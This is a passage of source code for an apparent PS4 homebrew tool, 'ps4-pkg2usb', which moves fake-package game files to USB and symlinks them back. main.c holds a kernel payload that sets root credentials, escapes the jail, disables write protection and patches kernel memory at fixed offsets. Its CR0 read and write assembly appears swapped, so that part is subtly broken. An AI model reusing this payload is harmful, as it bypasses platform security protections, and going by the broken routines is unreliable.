216 | Elf64_Word vd_next;
217 | } Elf64_Verdef;
218 |
219 | typedef struct {
220 | Elf64_Word vda_name;
221 | Elf64_Word vda_next;
222 | } Elf64_Verdaux;
223 |
224 | typedef struct {
225 | Elf64_Half vn_version;
226 | Elf64_Half vn_cnt;
227 | Elf64_Word vn_file;
228 | Elf64_Word vn_aux;
229 | Elf64_Word vn_next;
230 | } Elf64_Verneed;
231 |
232 | typedef struct {
233 | Elf64_Word vna_hash;
234 | Elf64_Half vna_flags;
235 | Elf64_Half vna_other;
236 | Elf64_Word vna_name;
237 | Elf64_Word vna_next;
238 | } Elf64_Vernaux;
239 |
240 | typedef Elf64_Half Elf64_Versym;
241 |
242 | typedef struct {
243 | Elf64_Half si_boundto; /* direct bindings - symbol bound to */
244 | Elf64_Half si_flags; /* per symbol flags */
245 | } Elf64_Syminfo;
246 |
247 |
248 |
--------------------------------------------------------------------------------
/405/include/link.h:
--------------------------------------------------------------------------------
1 | #ifndef LINK_H
2 | #define LINK_H
3 |
4 | void link_pkg(char *title_id, char *usb_path);
5 | int file_exists(char *filename);
6 |
7 | #endif
8 |
--------------------------------------------------------------------------------
/405/include/main.h:
--------------------------------------------------------------------------------
1 | #ifndef MAIN_H
2 | #define MAIN_H
3 |
4 | #define SPLIT_APP 1
5 | #define SPLIT_PATCH 2
6 |
7 | typedef struct
8 | {
9 | char* title_id;
10 | int copy;
11 | int split;
12 | int notify;
13 | int shutdown;
14 | } configuration;
15 |
16 | extern configuration config;
17 |
18 | #endif
19 |
--------------------------------------------------------------------------------
/405/include/pkg.h:
--------------------------------------------------------------------------------
1 | #ifndef PKG_H
2 | #define PKG_H
3 |
4 | #define PS4_PKG_MAGIC 0x544E437F // .CNT
5 |
6 | enum PS4_PKG_ENTRY_TYPES
7 | {
8 | PS4_PKG_ENTRY_TYPE_DIGEST_TABLE = 0x0001,
9 | PS4_PKG_ENTRY_TYPE_0x800 = 0x0010,
10 | PS4_PKG_ENTRY_TYPE_0x200 = 0x0020,
11 | PS4_PKG_ENTRY_TYPE_0x180 = 0x0080,
12 | PS4_PKG_ENTRY_TYPE_META_TABLE = 0x0100,
13 | PS4_PKG_ENTRY_TYPE_NAME_TABLE = 0x0200,
14 | PS4_PKG_ENTRY_TYPE_LICENSE = 0x0400,
15 | PS4_PKG_ENTRY_TYPE_FILE1 = 0x1000,
16 | PS4_PKG_ENTRY_TYPE_FILE2 = 0x1200
17 | };
18 |
19 | // CNT/PKG structures.
20 | struct cnt_pkg_main_header
21 | {
22 | uint32_t magic;
23 | uint32_t type;
24 | uint32_t unk_0x08;
25 | uint32_t unk_0x0C;
26 | uint16_t unk1_entries_num;
27 | uint16_t table_entries_num;
28 | uint16_t system_entries_num;
29 | uint16_t unk2_entries_num;
30 | uint32_t file_table_offset;
31 | uint32_t main_entries_data_size;
32 | uint32_t unk_0x20;
33 | uint32_t body_offset;
34 | uint32_t unk_0x28;
35 | uint32_t body_size;
36 | uint8_t unk_0x30[0x10];
37 | uint8_t content_id[0x30];
38 | uint32_t unk_0x70;
39 | uint32_t unk_0x74;
40 | uint32_t unk_0x78;
41 | uint32_t unk_0x7C;
42 | uint32_t date;
43 | uint32_t time;
44 | uint32_t unk_0x88;
45 | uint32_t unk_0x8C;
46 | uint8_t unk_0x90[0x70];
47 | uint8_t main_entries1_digest[0x20];
48 | uint8_t main_entries2_digest[0x20];
49 | uint8_t digest_table_digest[0x20];
50 | uint8_t body_digest[0x20];
51 | } __attribute__((packed));
52 |
53 | struct cnt_pkg_content_header
54 | {
55 | uint32_t unk_0x400;
56 | uint32_t unk_0x404;
57 | uint32_t unk_0x408;
58 | uint32_t unk_0x40C;
59 | uint32_t unk_0x410;
60 | uint32_t content_offset;
61 | uint32_t unk_0x418;
62 | uint32_t content_size;
63 | uint32_t unk_0x420;
64 | uint32_t unk_0x424;
65 | uint32_t unk_0x428;
66 | uint32_t unk_0x42C;
67 | uint32_t unk_0x430;
68 | uint32_t unk_0x434;
69 | uint32_t unk_0x438;
70 | uint32_t unk_0x43C;
71 | uint8_t content_digest[0x20];
72 | uint8_t content_one_block_digest[0x20];
73 | } __attribute__((packed));
74 |
75 | struct cnt_pkg_table_entry
76 | {
77 | uint32_t type;
78 | uint32_t unk1;
79 | uint32_t flags1;
80 | uint32_t flags2;
81 | uint32_t offset;
82 | uint32_t size;
83 | uint32_t unk2;
84 | uint32_t unk3;
85 | } __attribute__((packed));
86 |
87 | // Internal structure.
88 | struct file_entry
89 | {
90 | int offset;
91 | int size;
92 | char *name;
93 | };
94 |
95 | int isfpkg(char *pkgfn);
96 |
97 | #endif
98 |
--------------------------------------------------------------------------------
/405/include/utils.h:
--------------------------------------------------------------------------------
1 | #ifndef UTILS_H
2 | #define UTILS_H
3 |
4 | #include "types.h"
5 |
6 | int symlink(const char *pathname, const char *slink);
7 |
8 | int symlinkat(const char *pathname, int newdirfd, const char *slink);
9 |
10 | int lstat(const char *pathname, struct stat *buf);
11 |
12 | off_t file_size(const char *filename);
13 |
14 | int file_exists(char *fname);
15 |
16 | int dir_exists(char *dname);
17 |
18 | int symlink_exists(const char* fname);
19 |
20 | int wait_for_usb(char *usb_name, char *usb_path);
21 |
22 | char* chop(char *string);
23 |
24 | #endif
25 |
--------------------------------------------------------------------------------
/405/move.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | ./clean.sh
4 | ./build.sh
5 | mv *.bin $PAYLOADS --force
--------------------------------------------------------------------------------
/405/ps4-pkg2usb.cfg:
--------------------------------------------------------------------------------
1 | ;
2 | ; ps4-pkg2usb configuration file. Copy it to your USB disk root.
3 | ;
4 | ; App.pkg destination example:
5 | ; X:\PS4\CUSAxxxxx\app.pkg
6 | ;
7 | ; NB:
8 | ; It works only with fpkg
9 | ;
10 | ; Tips:
11 | ; If you have the app.pkg originally installed,
12 | ; you can avoid copying from the hard disk by putting the file itself in usb X:\PS4\CUSAxxxxx\app.pkg
13 | ; To restore internal app.pkg just resinstall as usal
14 | ;
15 | ; Coded by SiSTRo - Cedits to XVortex & Anonymous
16 | ;
17 |
18 | ; Installed app/game title id
19 | title_id=CUSA00000
20 |
21 | ; 0 - Do not copy app.pkg from hdd
22 | ; 1 - Copy app.pkg from hdd to usb
23 | copy=1
24 |
25 | ; Notification interval in s. (0 - disables notifications)
26 | notify=60
27 |
28 | ; Turn off the console when it has completed (0/1)
29 | shutdown=0
--------------------------------------------------------------------------------
/405/send.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | socat -u FILE:ps4-pkg2usb.bin TCP:192.168.1.124:9020
4 | socat - tcp-listen:9023
--------------------------------------------------------------------------------
/405/source/cfg.c:
--------------------------------------------------------------------------------
1 | /* inih -- simple .ini/.cfg file parser
2 |
3 | inih is released under the New BSD license (see LICENSE.txt). Go to the project
4 | home page for more info:
5 |
6 | https://github.com/benhoyt/inih
7 |
8 | */
9 |
10 | #include "ps4.h"
11 | #include "defines.h"
12 | #include "cfg.h"
13 |
14 | #define MAX_NAME 50
15 |
16 | #define EOF '\00'
17 |
18 | static inline int fgetc(FILE *fp)
19 | {
20 | char c;
21 |
22 | if (fread(&c, 1, 1, fp) == 0)
23 | return (EOF);
24 | return (c);
25 | }
26 |
27 | static char *fgets(char *dst, int max, FILE *fp)
28 | {
29 | int c = EOF;
30 | char *p;
31 |
32 | /* get max bytes or upto a newline */
33 | for (p = dst, max--; max > 0; max--)
34 | {
35 | if ((c = fgetc (fp)) == EOF)
36 | break;
37 | *p++ = c;
38 | if (c == '\n')
39 | break;
40 | }
41 | *p = 0;
42 | if (p == dst || c == EOF)
43 | return NULL;
44 | return (p);
45 | }
46 |
47 | bool isspace(int c)
48 | {
49 | return c == ' ' || c == '\t';
50 | }
51 |
52 | /* Used by cfg_parse_string() to keep track of string parsing state. */
53 | typedef struct {
54 | const char* ptr;
55 | size_t num_left;
56 | } cfg_parse_string_ctx;
57 |
58 | /* Strip whitespace chars off end of given string, in place. Return s. */
59 | static char* rstrip(char* s)
60 | {
61 | char* p = s + strlen(s);
62 | while (p > s && isspace((unsigned char)(*--p)))
63 | *p = '\0';
64 | return s;
65 | }
66 |
67 | /* Return pointer to first non-whitespace char in given string. */
68 | static char* lskip(const char* s)
69 | {
70 | while (*s && isspace((unsigned char)(*s)))
71 | s++;
72 | return (char*)s;
73 | }
74 |
75 | /* Return pointer to first char (of chars) or inline comment in given string,
76 | or pointer to null at end of string if neither found. Inline comment must
77 | be prefixed by a whitespace character to register as a comment. */
78 | static char* find_chars_or_comment(const char* s, const char* chars)
79 | {
80 | #if CFG_ALLOW_INLINE_COMMENTS
81 | int was_space = 0;
82 | while (*s && (!chars || !strchr(chars, *s)) &&
83 | !(was_space && strchr(CFG_INLINE_COMMENT_PREFIXES, *s))) {
84 | was_space = isspace((unsigned char)(*s));
85 | s++;
86 | }
87 | #else
88 | while (*s && (!chars || !strchr(chars, *s))) {
89 | s++;
90 | }
91 | #endif
92 | return (char*)s;
93 | }
94 |
95 | /* Version of strncpy that ensures dest (size bytes) is null-terminated. */
96 | static char* strncpy0(char* dest, const char* src, size_t size)
97 | {
98 | strncpy(dest, src, size);
99 | dest[size - 1] = '\0';
100 | return dest;
101 | }
102 |
103 | /* See documentation in header file. */
104 | int cfg_parse_stream(cfg_reader reader, void* stream, cfg_handler handler, void* user)
105 | {
106 | /* Uses a fair bit of stack (use heap instead if you need to) */
107 | #if CFG_USE_STACK
108 | char line[CFG_MAX_LINE];
109 | int max_line = CFG_MAX_LINE;
110 | #else
111 | char* line;
112 | int max_line = CFG_INITIAL_ALLOC;
113 | #endif
114 | #if CFG_ALLOW_REALLOC
115 | char* new_line;
116 | int offset;
117 | #endif
118 | char prev_name[MAX_NAME] = "";
119 |
120 | char* start;
121 | char* end;
122 | char* name;
123 | char* value;
124 | int lineno = 0;
125 | int error = 0;
126 |
127 | #if !CFG_USE_STACK
128 | line = (char*)malloc(CFG_INITIAL_ALLOC);
129 | if (!line) {
130 | return -2;
131 | }
132 | #endif
133 |
134 | #if CFG_HANDLER_LINENO
135 | #define HANDLER(u, n, v) handler(u, n, v, lineno)
136 | #else
137 | #define HANDLER(u, n, v) handler(u, n, v)
138 | #endif
139 |
140 | /* Scan through stream line by line */
141 | while (reader(line, max_line, stream) != NULL) {
142 | #if CFG_ALLOW_REALLOC
143 | offset = strlen(line);
144 | while (offset == max_line - 1 && line[offset - 1] != '\n') {
145 | max_line *= 2;
146 | if (max_line > CFG_MAX_LINE)
147 | max_line = CFG_MAX_LINE;
148 | new_line = realloc(line, max_line);
149 | if (!new_line) {
150 | free(line);
151 | return -2;
152 | }
153 | line = new_line;
154 | if (reader(line + offset, max_line - offset, stream) == NULL)
155 | break;
156 | if (max_line >= CFG_MAX_LINE)
157 | break;
158 | offset += strlen(line + offset);
159 | }
160 | #endif
161 |
162 | lineno++;
163 |
164 | start = line;
165 | #if CFG_ALLOW_BOM
166 | if (lineno == 1 && (unsigned char)start[0] == 0xEF &&
167 | (unsigned char)start[1] == 0xBB &&
168 | (unsigned char)start[2] == 0xBF) {
169 | start += 3;
170 | }
171 | #endif
172 | start = lskip(rstrip(start));
173 |
174 | if (*start == ';' || *start == '#') {
175 | /* Per Python configparser, allow both ; and # comments at the
176 | start of a line */
177 | }
178 | #if CFG_ALLOW_MULTILINE
179 | else if (*prev_name && *start && start > line) {
180 | /* Non-blank line with leading whitespace, treat as continuation
181 | of previous name's value (as per Python configparser). */
182 | if (!HANDLER(user, prev_name, start) && !error)
183 | error = lineno;
184 | }
185 | #endif
186 | else if (*start) {
187 | /* Not a comment, must be a name[=:]value pair */
188 | end = find_chars_or_comment(start, "=:");
189 | if (*end == '=' || *end == ':') {
190 | *end = '\0';
191 | name = rstrip(start);
192 | value = end + 1;
193 | #if CFG_ALLOW_INLINE_COMMENTS
194 | end = find_chars_or_comment(value, NULL);
195 | if (*end)
196 | *end = '\0';
197 | #endif
198 | value = lskip(value);
199 | rstrip(value);
200 |
201 | /* Valid name[=:]value pair found, call handler */
202 | strncpy0(prev_name, name, sizeof(prev_name));
203 | if (!HANDLER(user, name, value) && !error)
204 | error = lineno;
205 | }
206 | else if (!error) {
207 | /* No '=' or ':' found on name[=:]value line */
208 | error = lineno;
209 | }
210 | }
211 |
212 | #if CFG_STOP_ON_FIRST_ERROR
213 | if (error)
214 | break;
215 | #endif
216 | }
217 |
218 | #if !CFG_USE_STACK
219 | free(line);
220 | #endif
221 |
222 | return error;
223 | }
224 |
225 | /* See documentation in header file. */
226 | int cfg_parse_file(FILE* file, cfg_handler handler, void* user)
227 | {
228 | return cfg_parse_stream((cfg_reader)fgets, file, handler, user);
229 | }
230 |
231 | /* See documentation in header file. */
232 | int cfg_parse(const char* filename, cfg_handler handler, void* user)
233 | {
234 | FILE* file;
235 | int error;
236 |
237 | file = fopen(filename, "r");
238 | if (!file)
239 | return -1;
240 | error = cfg_parse_file(file, handler, user);
241 | fclose(file);
242 | return error;
243 | }
244 |
245 | /* An cfg_reader function to read the next line from a string buffer. This
246 | is the fgets() equivalent used by cfg_parse_string(). */
247 | static char* cfg_reader_string(char* str, int num, void* stream) {
248 | cfg_parse_string_ctx* ctx = (cfg_parse_string_ctx*)stream;
249 | const char* ctx_ptr = ctx->ptr;
250 | size_t ctx_num_left = ctx->num_left;
251 | char* strp = str;
252 | char c;
253 |
254 | if (ctx_num_left == 0 || num < 2)
255 | return NULL;
256 |
257 | while (num > 1 && ctx_num_left != 0) {
258 | c = *ctx_ptr++;
259 | ctx_num_left--;
260 | *strp++ = c;
261 | if (c == '\n')
262 | break;
263 | num--;
264 | }
265 |
266 | *strp = '\0';
267 | ctx->ptr = ctx_ptr;
268 | ctx->num_left = ctx_num_left;
269 | return str;
270 | }
271 |
272 | /* See documentation in header file. */
273 | int cfg_parse_string(const char* string, cfg_handler handler, void* user) {
274 | cfg_parse_string_ctx ctx;
275 |
276 | ctx.ptr = string;
277 | ctx.num_left = strlen(string);
278 | return cfg_parse_stream((cfg_reader)cfg_reader_string, &ctx, handler, user);
279 | }
280 |
--------------------------------------------------------------------------------
/405/source/debug.c:
--------------------------------------------------------------------------------
1 | #include "ps4.h"
2 | #include "defines.h"
3 | #include "debug.h"
4 | #include "main.h"
5 |
6 | #ifdef DEBUG_SOCKET
7 |
8 | int sock;
9 |
10 | void initDebugSocket(void)
11 | {
12 | struct sockaddr_in server;
13 |
14 | server.sin_len = sizeof(server);
15 | server.sin_family = AF_INET;
16 | sceNetInetPton(AF_INET, LOG_IP, &server.sin_addr);
17 | server.sin_port = sceNetHtons(LOG_PORT);
18 | memset(server.sin_zero, 0, sizeof(server.sin_zero));
19 | sock = sceNetSocket("debug", AF_INET, SOCK_STREAM, 0);
20 | sceNetConnect(sock, (struct sockaddr *)&server, sizeof(server));
21 |
22 | int flag = 1;
23 | sceNetSetsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *)&flag, sizeof(int));
24 | }
25 |
26 | void closeDebugSocket(void)
27 | {
28 | sceNetSocketClose(sock);
29 | }
30 |
31 | #endif
32 |
33 | void notify(char *message)
34 | {
35 | if (!config.notify) return;
36 | char buffer[512];
37 | sprintf(buffer, "%s\n\n\n\n\n\n\n", message);
38 | sceSysUtilSendSystemNotificationWithText(0x81, buffer);
39 | }
40 |
--------------------------------------------------------------------------------
/405/source/link.c:
--------------------------------------------------------------------------------
1 | #include "ps4.h"
2 | #include "defines.h"
3 | #include "debug.h"
4 | #include "main.h"
5 | #include "elf64.h"
6 | #include "link.h"
7 | #include "utils.h"
8 | #include "pkg.h"
9 |
10 | #define BUFFER_SIZE 65536
11 |
12 | int file_compare(char *fname1, char *fname2)
13 | {
14 | long size1, size2;
15 |
16 | int bytesRead1 = 0,
17 | bytesRead2 = 0,
18 | lastBytes = 100,
19 | res = 0,
20 | i;
21 |
22 | FILE *file1 = fopen(fname1, "rb"),
23 | *file2 = fopen(fname2, "rb");
24 |
25 | char *buffer1 = malloc(BUFFER_SIZE),
26 | *buffer2 = malloc(BUFFER_SIZE);
27 |
28 | if (!file1 || !file2) {
29 | return res; // res = 0;
30 | }
31 |
32 | fseek (file1, 0, SEEK_END);
33 | fseek (file2, 0, SEEK_END);
34 |
35 | size1 = ftell (file1);
36 | size2 = ftell (file2);
37 |
38 | fseek(file1, 0L, SEEK_SET);
39 | fseek(file2, 0L, SEEK_SET);
40 |
41 | if (size1 != size2) {
42 | //printfsocket("Different size > size1: %ld - size2: %ld\n", size1, size2);
43 | res = 0;
44 | goto exit;
45 | }
46 | //printfsocket("size1: %ld - size2: %ld\n", size1, size2);
47 |
48 | if (size1 < lastBytes) lastBytes = size1;
49 |
50 | fseek(file1, -lastBytes, SEEK_END);
51 | fseek(file2, -lastBytes, SEEK_END);
52 |
53 | bytesRead1 = fread(buffer1, sizeof(char), lastBytes, file1);
54 | bytesRead2 = fread(buffer2, sizeof(char), lastBytes, file2);
55 |
56 | if (bytesRead1 > 0 && bytesRead1 == bytesRead2) {
57 | for ( i = 0; i < bytesRead1; i++) {
58 | if (buffer1[i] != buffer2[i]) {
59 | //printfsocket("Different lastBytes %d\n", lastBytes);
60 | res = 0;
61 | goto exit;
62 | }
63 | }
64 |
65 | //printfsocket("Same lastBytes %d\n", lastBytes);
66 | res = 1;
67 | }
68 |
69 | free(buffer1);
70 | free(buffer2);
71 |
72 | exit:
73 | //printfsocket("Closing files\n");
74 | fclose(file1);
75 | fclose(file2);
76 |
77 | return res;
78 | }
79 |
80 | void copy_file(char *sourcefile, char* destfile)
81 | {
82 | char msg[64];
83 |
84 | FILE *src = fopen(sourcefile, "rb");
85 | if (src)
86 | {
87 | FILE *out = fopen(destfile,"wb");
88 | if (out)
89 | {
90 | size_t bytes, bytes_size, bytes_copied = 0;
91 |
92 | char *buffer = malloc(BUFFER_SIZE);
93 |
94 | if (buffer != NULL)
95 | {
96 | fseek(src, 0L, SEEK_END);
97 | bytes_size = ftell(src);
98 | fseek(src, 0L, SEEK_SET);
99 |
100 | while (0 < (bytes = fread(buffer, 1, BUFFER_SIZE, src))) {
101 | fwrite(buffer, 1, bytes, out);
102 | bytes_copied += bytes;
103 |
104 | if (bytes_copied > bytes_size) bytes_copied = bytes_size;
105 | sprintf(notify_buf, "Copying %u%% completed...\n", bytes_copied * 100 / bytes_size);
106 | //printfsocket(msg);
107 | }
108 | free(buffer);
109 | }
110 | fclose(out);
111 | }
112 | else {
113 | sprintf(msg,"write %s err : %s\n", destfile, strerror(errno));
114 | printfsocket(msg);
115 | //notify(msg);
116 | }
117 | fclose(src);
118 | }
119 | else {
120 | sprintf(msg,"write %s err : %s\n", destfile, strerror(errno));
121 | printfsocket(msg);
122 | //notify(msg);
123 | }
124 | }
125 |
126 | void link_pkg(char *title_id, char *usb_path)
127 | {
128 | char app_pkg[64];
129 | char app_pkg_usb_root_path[64];
130 | char app_pkg_hdd_base_path[64];
131 | char app_pkg_usb_base_path[64];
132 | char app_pkg_hdd_path[64];
133 | char app_pkg_usb_path[64];
134 | char msg[512];
135 |
136 | sprintf(app_pkg, "app.pkg");
137 | sprintf(app_pkg_usb_root_path, "%s/PS4", usb_path);
138 | sprintf(app_pkg_hdd_base_path, "/user/app/%s", title_id);
139 | sprintf(app_pkg_usb_base_path, "%s/%s", app_pkg_usb_root_path, title_id);
140 |
141 | sprintf(app_pkg_hdd_path, "%s/%s", app_pkg_hdd_base_path, app_pkg);
142 | sprintf(app_pkg_usb_path, "%s/%s", app_pkg_usb_base_path, app_pkg);
143 |
144 | sprintf(msg, "Checking app.pkg in %s...\n", app_pkg_hdd_path);
145 | printfsocket(msg);
146 |
147 | #ifndef DEBUG_SOCKET
148 | notify(msg);
149 | sceKernelSleep(5);
150 | #endif
151 |
152 | if (!file_exists(app_pkg_hdd_path)) {
153 | sprintf(msg, "Error: app.pkg in %s not found!\n", app_pkg_hdd_path);
154 | printfsocket(msg);
155 |
156 | #ifndef DEBUG_SOCKET
157 | notify(msg);
158 | sceKernelSleep(5);
159 | #endif
160 | return;
161 | }
162 |
163 | if (symlink_exists(app_pkg_hdd_path)) {
164 | sprintf(msg, "Error: app.pkg in %s is yet moved!\n", app_pkg_hdd_base_path);
165 | printfsocket(msg);
166 |
167 | #ifndef DEBUG_SOCKET
168 | notify(msg);
169 | sceKernelSleep(5);
170 | #endif
171 | return;
172 | }
173 |
174 | if (isfpkg(app_pkg_hdd_path) != 0) {
175 | sprintf(msg, "Error: %s is not a valid fpkg!\n", app_pkg_hdd_path);
176 | printfsocket(msg);
177 |
178 | #ifndef DEBUG_SOCKET
179 | notify(msg);
180 | sceKernelSleep(5);
181 | #endif
182 | return;
183 | }
184 |
185 | sprintf(msg, "Checking app.pkg in %s ...\n", app_pkg_usb_path);
186 | printfsocket(msg);
187 |
188 | if (!file_exists(app_pkg_usb_root_path)) {
189 | sprintf(msg, "Creating root folder %s ...\n", app_pkg_usb_root_path);
190 | printfsocket(msg);
191 |
192 | mkdir(app_pkg_usb_root_path, 0777);
193 | }
194 |
195 | if (file_exists(app_pkg_usb_path)) {
196 | sprintf(msg, "App found in %s\n", app_pkg_usb_path);
197 | printfsocket(msg);
198 |
199 | if (!file_compare(app_pkg_hdd_path, app_pkg_usb_path)) {
200 | sprintf(msg, "%s and %s are different!\n", app_pkg_hdd_path, app_pkg_usb_path);
201 | printfsocket(msg);
202 |
203 | #ifndef DEBUG_SOCKET
204 | notify(msg);
205 | sceKernelSleep(5);
206 | #endif
207 | return;
208 | }
209 | } else {
210 | sprintf(msg, "App not found in %s\n", app_pkg_usb_path);
211 | printfsocket(msg);
212 | //notify(msg);
213 |
214 | if (!dir_exists(app_pkg_usb_base_path)) {
215 | sprintf(msg, "Creating %s ...\n", app_pkg_usb_base_path);
216 | printfsocket(msg);
217 |
218 | mkdir(app_pkg_usb_base_path, 0777);
219 | }
220 |
221 | sprintf(msg, "Copying app.pkg from %s to %s ...\n", app_pkg_hdd_path, app_pkg_usb_path);
222 | printfsocket(msg);
223 |
224 | #ifndef DEBUG_SOCKET
225 | notify(msg);
226 | sceKernelSleep(5);
227 | #endif
228 |
229 | copy_file(app_pkg_hdd_path, app_pkg_usb_path);
230 |
231 | sprintf(msg, "Copying completed!\n");
232 | printfsocket(msg);
233 |
234 | #ifndef DEBUG_SOCKET
235 | notify(msg);
236 | sceKernelSleep(5);
237 | #endif
238 |
239 | if (!file_compare(app_pkg_hdd_path, app_pkg_usb_path)) {
240 | sprintf(msg, "%s and %s are different!\n", app_pkg_hdd_path, app_pkg_usb_path);
241 | printfsocket(msg);
242 |
243 | #ifndef DEBUG_SOCKET
244 | notify(msg);
245 | sceKernelSleep(5);
246 | #endif
247 | return;
248 | }
249 | }
250 |
251 | unlink(app_pkg_hdd_path);
252 |
253 | sprintf(msg, "Removing %s completed!\n", app_pkg_hdd_path);
254 | printfsocket(msg);
255 |
256 | int link = symlink(app_pkg_usb_path, app_pkg_hdd_path);
257 |
258 | #ifdef DEBUG_SOCKET
259 | if (link != -1) {
260 | sprintf(msg, "Linking %s to %s completed!\n", app_pkg_hdd_path, app_pkg_usb_path);
261 | } else {
262 | sprintf(msg, "Linking %s to %s failed!\n", app_pkg_hdd_path, app_pkg_usb_path);
263 | }
264 | printfsocket(msg);
265 | #endif
266 |
267 | if (file_exists(app_pkg_hdd_path)) {
268 | sprintf(msg, "Checking app.pkg in %s successed!\n", app_pkg_hdd_path);
269 | printfsocket(msg);
270 |
271 | #ifndef DEBUG_SOCKET
272 | notify(msg);
273 | sceKernelSleep(5);
274 | #endif
275 | }
276 | }
--------------------------------------------------------------------------------
/405/source/main.c:
--------------------------------------------------------------------------------
1 | #include "ps4.h"
2 | #include "defines.h"
3 | #include "main.h"
4 | #include "debug.h"
5 | #include "utils.h"
6 | #include "cfg.h"
7 | #include "link.h"
8 |
9 | int nthread_run;
10 |
11 | configuration config;
12 |
13 | unsigned int long long __readmsr(unsigned long __register) {
14 | unsigned long __edx;
15 | unsigned long __eax;
16 | __asm__ ("rdmsr" : "=d"(__edx), "=a"(__eax) : "c"(__register));
17 | return (((unsigned int long long)__edx) << 32) | (unsigned int long long)__eax;
18 | }
19 |
20 | #define X86_CR0_WP (1 << 16)
21 |
22 | static inline __attribute__((always_inline)) uint64_t readCr0(void) {
23 | uint64_t cr0;
24 |
25 | asm volatile (
26 | "movq %0, %%cr0"
27 | : "=r" (cr0)
28 | : : "memory"
29 | );
30 |
31 | return cr0;
32 | }
33 |
34 | static inline __attribute__((always_inline)) void writeCr0(uint64_t cr0) {
35 | asm volatile (
36 | "movq %%cr0, %0"
37 | : : "r" (cr0)
38 | : "memory"
39 | );
40 | }
41 |
42 | struct auditinfo_addr {
43 | char useless[184];
44 | };
45 |
46 | struct ucred {
47 | uint32_t useless1;
48 | uint32_t cr_uid; // effective user id
49 | uint32_t cr_ruid; // real user id
50 | uint32_t useless2;
51 | uint32_t useless3;
52 | uint32_t cr_rgid; // real group id
53 | uint32_t useless4;
54 | void *useless5;
55 | void *useless6;
56 | void *cr_prison; // jail(2)
57 | void *useless7;
58 | uint32_t useless8;
59 | void *useless9[2];
60 | void *useless10;
61 | struct auditinfo_addr useless11;
62 | uint32_t *cr_groups; // groups
63 | uint32_t useless12;
64 | };
65 |
66 | struct filedesc {
67 | void *useless1[3];
68 | void *fd_rdir;
69 | void *fd_jdir;
70 | };
71 |
72 | struct proc {
73 | char useless[64];
74 | struct ucred *p_ucred;
75 | struct filedesc *p_fd;
76 | };
77 |
78 | struct thread {
79 | void *useless;
80 | struct proc *td_proc;
81 | };
82 |
83 | #define KERN_XFAST_SYSCALL 0x30EB30 // 4.05
84 | #define KERN_PRISON_0 0xF26010
85 | #define KERN_ROOTVNODE 0x206D250
86 |
87 | int kpayload(struct thread *td){
88 |
89 | struct ucred* cred;
90 | struct filedesc* fd;
91 |
92 | fd = td->td_proc->p_fd;
93 | cred = td->td_proc->p_ucred;
94 |
95 | void* kernel_base = &((uint8_t*)__readmsr(0xC0000082))[-KERN_XFAST_SYSCALL];
96 | uint8_t* kernel_ptr = (uint8_t*)kernel_base;
97 | void** got_prison0 = (void**)&kernel_ptr[KERN_PRISON_0];
98 | void** got_rootvnode = (void**)&kernel_ptr[KERN_ROOTVNODE];
99 |
100 | cred->cr_uid = 0;
101 | cred->cr_ruid = 0;
102 | cred->cr_rgid = 0;
103 | cred->cr_groups[0] = 0;
104 |
105 | cred->cr_prison = *got_prison0;
106 | fd->fd_rdir = fd->fd_jdir = *got_rootvnode;
107 |
108 | // escalate ucred privs, needed for access to the filesystem ie* mounting & decrypting files
109 | void *td_ucred = *(void **)(((char *)td) + 304); // p_ucred == td_ucred
110 |
111 | // sceSblACMgrIsSystemUcred
112 | uint64_t *sonyCred = (uint64_t *)(((char *)td_ucred) + 96);
113 | *sonyCred = 0xffffffffffffffff;
114 |
115 | // sceSblACMgrGetDeviceAccessType
116 | uint64_t *sceProcType = (uint64_t *)(((char *)td_ucred) + 88);
117 | *sceProcType = 0x3801000000000013; // Max access
118 |
119 | // sceSblACMgrHasSceProcessCapability
120 | uint64_t *sceProcCap = (uint64_t *)(((char *)td_ucred) + 104);
121 | *sceProcCap = 0xffffffffffffffff; // Sce Process
122 |
123 | // Disable write protection
124 | uint64_t cr0 = readCr0();
125 | writeCr0(cr0 & ~X86_CR0_WP);
126 |
127 | // specters debug settings patchs
128 | *(char *)(kernel_base + 0x2001516) |= 0x14;
129 | *(char *)(kernel_base + 0x2001539) |= 3;
130 | *(char *)(kernel_base + 0x200153A) |= 1;
131 | *(char *)(kernel_base + 0x2001558) |= 1;
132 |
133 | // debug menu full patches thanks to sealab
134 | *(uint32_t *)(kernel_base + 0x4CECB7) = 0;
135 | *(uint32_t *)(kernel_base + 0x4CFB9B) = 0;
136 |
137 | // Target ID Patches :)
138 | *(uint16_t *)(kernel_base + 0x1FE59E4) = 0x8101;
139 | *(uint16_t *)(kernel_base + 0X1FE5A2C) = 0x8101;
140 | *(uint16_t *)(kernel_base + 0x200151C) = 0x8101;
141 |
142 | // enable mmap of all SELF ???
143 | *(uint8_t*)(kernel_base + 0x31EE40) = 0x90;
144 | *(uint8_t*)(kernel_base + 0x31EE41) = 0xE9;
145 | *(uint8_t*)(kernel_base + 0x31EF98) = 0x90;
146 | *(uint8_t*)(kernel_base + 0x31EF99) = 0x90;
147 |
148 | // Restore write protection
149 | writeCr0(cr0);
150 |
151 | return 0;
152 | }
153 |
154 | void *nthread_func(void *arg)
155 | {
156 | time_t t1 = 0, t2;
157 |
158 | while (nthread_run)
159 | {
160 | if (notify_buf[0])
161 | {
162 | t2 = time(NULL);
163 | if ((t2 - t1) >= config.notify)
164 | {
165 | t1 = t2;
166 | notify(notify_buf);
167 | printfsocket(notify_buf);
168 | }
169 | }
170 | else t1 = 0;
171 | sceKernelSleep(1);
172 | }
173 |
174 | return NULL;
175 | }
176 |
177 |
178 |
179 | static int config_handler(void* user, const char* name, const char* value)
180 | {
181 | configuration* pconfig = (configuration*)user;
182 |
183 | #define MATCH(n) strcmp(name, n) == 0
184 | if (MATCH("title_id")) {
185 | pconfig->title_id = chop(strdup(value));
186 | } else
187 | if (MATCH("copy")) {
188 | pconfig->copy = atoi(value);
189 | } else
190 | if (MATCH("notify")) {
191 | pconfig->notify = atoi(value);
192 | } else
193 | if (MATCH("shutdown")) {
194 | pconfig->shutdown = atoi(value);
195 | };
196 |
197 | return 1;
198 | }
199 |
200 | int _main(struct thread *td)
201 | {
202 | char title_id[64];
203 | char usb_name[64];
204 | char usb_path[64];
205 | char cfg_path[64];
206 | char msg[64];
207 | //int progress;
208 |
209 | // Init and resolve libraries
210 | initKernel();
211 | initLibc();
212 | initPthread();
213 |
214 | #ifdef DEBUG_SOCKET
215 | initNetwork();
216 | initDebugSocket();
217 | #endif
